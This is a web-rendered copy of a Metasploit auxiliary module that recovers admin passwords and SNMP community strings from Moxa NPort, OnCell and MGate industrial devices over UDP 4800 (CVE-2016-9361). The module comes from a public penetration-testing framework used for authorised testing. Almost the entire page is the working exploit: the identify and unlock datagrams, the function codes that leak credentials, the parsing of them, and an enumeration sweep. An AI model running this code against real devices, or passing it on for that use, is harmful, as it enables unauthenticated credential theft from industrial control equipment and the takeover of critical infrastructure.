Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/moxa_credentials_recovery.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Udp
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Moxa Device Credential Retrieval',
15
'Description' => %q{
16
The Moxa protocol listens on 4800/UDP and will respond to broadcast
17
or direct traffic. The service is known to be used on Moxa devices
18
in the NPort, OnCell, and MGate product lines. Many devices with
19
firmware versions older than 2017 or late 2016 allow admin credentials
20
and SNMP read and read/write community strings to be retrieved without
21
authentication.
22
23
This module is the work of Patrick DeSantis of Cisco Talos and K. Reid
24
Wightman.
25
26
Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5,
27
and NPort 5110 firmware 2.6.
28
},
29
'Author' => [
30
'Patrick DeSantis <p[at]t-r10t.com>',
31
'K. Reid Wightman <reid[at]revics-security.com>'
32
],
33
34
'License' => MSF_LICENSE,
35
'References' => [
36
[ 'CVE', '2016-9361'],
37
[ 'BID', '85965'],
38
[ 'URL', 'https://www.digitalbond.com/blog/2016/10/25/serial-killers/'],
39
[ 'URL', 'https://github.com/reidmefirst/MoxaPass/blob/master/moxa_getpass.py' ],
40
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-336-02']
41
],
42
'DisclosureDate' => '2015-07-28',
43
'Notes' => {
44
'Stability' => [CRASH_SAFE],
45
'SideEffects' => [IOC_IN_LOGS],
46
'Reliability' => []
47
}
48
)
49
)
50
51
register_options([
52
# Moxa protocol listens on 4800/UDP by default
53
Opt::RPORT(4800),
54
OptEnum.new('FUNCTION', [
55
true, 'Pull credentials or enumerate all function codes', 'CREDS',
56
[
57
'CREDS',
58
'ENUM'
59
]
60
])
61
])
62
end
63
64
def fc
65
{
66
# Function codes
67
'ident' => "\x01", # identify device
68
'name' => "\x10", # get the "server name" of the device
69
'netstat' => "\x14", # network activity of the device
70
'unlock1' => "\x16", # "unlock" some devices, including 5110, MGate
71
'date_time' => "\x1a", # get the device date and time
72
'time_server' => "\x1b", # get the time server of device
73
'unlock2' => "\x1e", # "unlock" 6xxx series devices
74
'snmp_read' => "\x28", # snmp community strings
75
'pass' => "\x29", # admin password of some devices
76
'all_creds' => "\x2c", # snmp comm strings and admin password of 6xxx
77
'enum' => 'enum' # mock fc to catch "ENUM" option
78
}
79
end
80
81
def send_datagram(func, tail)
82
if fc[func] == "\x01"
83
# identify datagrams have a length of 8 bytes and no tail
84
datagram = fc[func] + "\x00\x00\x08\x00\x00\x00\x00"
85
begin
86
udp_sock.put(datagram)
87
response = udp_sock.get(3)
88
rescue ::Timeout::Error => e
89
vprint_error(e.message)
90
end
91
format_output(response)
92
# the last 16 bytes of the ident response are used as a form of auth for
93
# function codes other than 0x01
94
response[8..24]
95
elsif fc[func] == 'enum'
96
for i in ("\x02".."\x80") do
97
# start at 2 since 0 is invalid and 1 is ident
98
datagram = i + "\x00\x00\x14\x00\x00\x00\x00" + tail
99
begin
100
udp_sock.put(datagram)
101
response = udp_sock.get(3)
102
end
103
if response[1] != "\x04"
104
vprint_status("Function Code: #{Rex::Text.to_hex_dump(datagram[0])}")
105
format_output(response)
106
end
107
end
108
else
109
# all non-ident datagrams have a len of 14 bytes and include a tail that
110
# is comprised of bytes obtained during the ident
111
datagram = fc[func] + "\x00\x00\x14\x00\x00\x00\x00" + tail
112
begin
113
udp_sock.put(datagram)
114
response = udp_sock.get(3)
115
if valid_resp(fc[func], response) == -1
116
# invalid response, so don't bother trying to parse it
117
return
118
end
119
120
if fc[func] == "\x2c"
121
# try this, note it may fail
122
get_creds(response)
123
end
124
if fc[func] == "\x29"
125
# try this, note it may fail
126
get_pass(response)
127
end
128
if fc[func] == "\x28"
129
# try this, note it may fail
130
get_snmp_read(response)
131
end
132
rescue ::Timeout::Error => e
133
vprint_error(e.message)
134
end
135
format_output(response)
136
end
137
end
138
139
# helper function for extracting strings from payload
140
def get_string(data)
141
str_end = data.index("\x00")
142
return data[0..str_end]
143
end
144
145
# helper function for extracting password from 0x29 FC response
146
def get_pass(response)
147
if response.length < 200
148
print_error('get_pass failed: response not long enough')
149
return
150
end
151
pass = get_string(response[200..])
152
print_good("password retrieved: #{pass}")
153
store_loot('moxa.get_pass.admin_pass', 'text/plain', rhost, pass)
154
return pass
155
end
156
157
# helper function for extracting snmp community from 0x28 FC response
158
def get_snmp_read(response)
159
if response.length < 24
160
print_error('get_snmp_read failed: response not long enough')
161
return
162
end
163
snmp_string = get_string(response[24..])
164
print_good("snmp community retrieved: #{snmp_string}")
165
store_loot('moxa.get_pass.snmp_read', 'text/plain', rhost, snmp_string)
166
end
167
168
# helper function for extracting snmp community from 0x2C FC response
169
def get_snmp_write(response)
170
if response.length < 64
171
print_error('get_snmp_write failed: response not long enough')
172
return
173
end
174
snmp_string = get_string(response[64..])
175
print_good("snmp read/write community retrieved: #{snmp_string}")
176
store_loot('moxa.get_pass.snmp_write', 'text/plain', rhost, snmp_string)
177
end
178
179
# helper function for extracting snmp and pass from 0x2C FC response
180
# Note that 0x2C response is basically 0x28 and 0x29 mashed together
181
def get_creds(response)
182
if response.length < 200
183
# attempt failed. device may not be unlocked
184
print_error('get_creds failed: response not long enough. Will fall back to other functions')
185
return -1
186
end
187
get_snmp_read(response)
188
get_snmp_write(response)
189
get_pass(response)
190
end
191
192
# helper function to verify that the response was actually for our request
193
# Simply makes sure the response function code has most significant bit
194
# of the request number set
195
# returns 0 if everything is ok
196
# returns -1 if functions don't match
197
def valid_resp(func, resp)
198
# get the query function code to an integer
199
qfc = func.unpack('C')[0]
200
# make the response function code an integer
201
rfc = resp[0].unpack('C')[0]
202
if rfc == (qfc + 0x80)
203
return 0
204
else
205
return -1
206
end
207
end
208
209
def format_output(resp)
210
# output response bytes as hexdump
211
vprint_status("Response:\n#{Rex::Text.to_hex_dump(resp)}")
212
end
213
214
def check
215
connect_udp
216
217
begin
218
# send the identify command
219
udp_sock.put("\x01\x00\x00\x08\x00\x00\x00\x00")
220
response = udp_sock.get(3)
221
end
222
223
unless response
224
vprint_error('Unknown response')
225
return Exploit::CheckCode::Unknown
226
end
227
228
# A valid response is 24 bytes, starts with 0x81, and contains the values
229
# 0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16.
230
if response[0] == "\x81" && response[14..16] == "\x00\x90\xe8" && response.length == 24
231
format_output(response)
232
return Exploit::CheckCode::Appears
233
end
234
235
cleanup
236
237
Exploit::CheckCode::Safe
238
end
239
240
def run
241
unless check == Exploit::CheckCode::Appears
242
print_error('Aborted because the target does not seem vulnerable.')
243
return
244
end
245
246
function = datastore['FUNCTION']
247
248
connect_udp
249
250
# identify the device and get bytes for the "tail"
251
tail = send_datagram('ident', nil)
252
253
# get the "server name" from the device
254
send_datagram('name', tail)
255
256
# "unlock" the device
257
# We send both versions of the unlock FC, this doesn't seem
258
# to hurt anything on any devices tested
259
send_datagram('unlock1', tail)
260
send_datagram('unlock2', tail)
261
262
if function == 'CREDS'
263
# grab data
264
send_datagram('all_creds', tail)
265
send_datagram('snmp_read', tail)
266
send_datagram('pass', tail)
267
elsif function == 'ENUM'
268
send_datagram('enum', tail)
269
else
270
print_error('Invalid FUNCTION')
271
end
272
273
disconnect_udp
274
end
275
end
276
277